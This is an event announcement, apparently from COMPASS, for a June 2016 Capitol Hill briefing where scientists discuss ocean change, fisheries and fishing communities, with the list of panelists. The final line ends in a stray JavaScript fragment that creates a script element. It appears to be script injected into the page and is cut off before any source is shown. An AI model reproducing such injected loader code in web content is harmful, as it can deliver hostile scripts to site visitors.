Tides Of Change: A Capitol Hill Briefing On How Oceans Are Changing And How Those Changes Affect Fisheries And Fishing Communities

On June 28th, 2016, COMPASS will be supporting scientists to discuss their knowledge of the impacts of ocean change on fisheries and the communities that depend on them with policymakers on Capitol Hill. We hope you’ll be able to join us!

Tides Of Change:  A Capitol Hill Briefing On How Oceans Are Changing And How Those Changes Affect Fisheries And Fishing Communities

Image by Linda Tanner, CC BY-NC-ND 2.0

Image by Linda Tanner, CC BY-NC-ND 2.0

June 28, 2016, 2-3 p.m.

Capitol Visitor Center, SVC Room 209-08

Light refreshments will be served.

Oceans provide our nation with a wealth of economic, ecological, and recreational benefits.  They contribute approximately $360 billion to the national economy annually and support the employment of over 3 million people.  Yet our oceans are changing, and changing rapidly, with significant implications for those who rely on the oceans for their livelihoods.  Fishermen, in particular, have been grappling with the effects of ocean change.  Fortunately, emerging science is helping us to better understand the changes faced by fisheries and fishermen, and better inform the path forward for effective and adaptable fishery management.

This briefing will bring together a panel of scientists to speak about how and why the oceans are changing, how those changes are affecting fisheries, and possible ways forward as fishing communities adapt to those changes.  The panelists will discuss a range of topics including species range shifts and ocean acidification, impacts to fishing cultures and communities, and how real-time data and monitoring have the potential to inform and transform fishery management and bolster the resilience of our nation’s ocean resources—and the communities that rely upon them—to the challenges that lie ahead.

PANELISTS

Dr. Mike Fogarty (Moderator), National Oceanic and Atmospheric Administration (Woods Hole, MA)

Dr. Daniel Dunn, Duke University (Beaufort, NC)

Dr. Janet Nye, Stony Brook University (Stony Brook, NY)

Dr. Malin Pinsky, Rutgers University (New Brunswick, NJ)

Dr. Melissa Poe, University of Washington/Washington Sea Grant (Seattle, WA)

For questions or comments, please contact Heather Mannix or Kristin Carden.var d=document;var s=d.createElement(‘script’);

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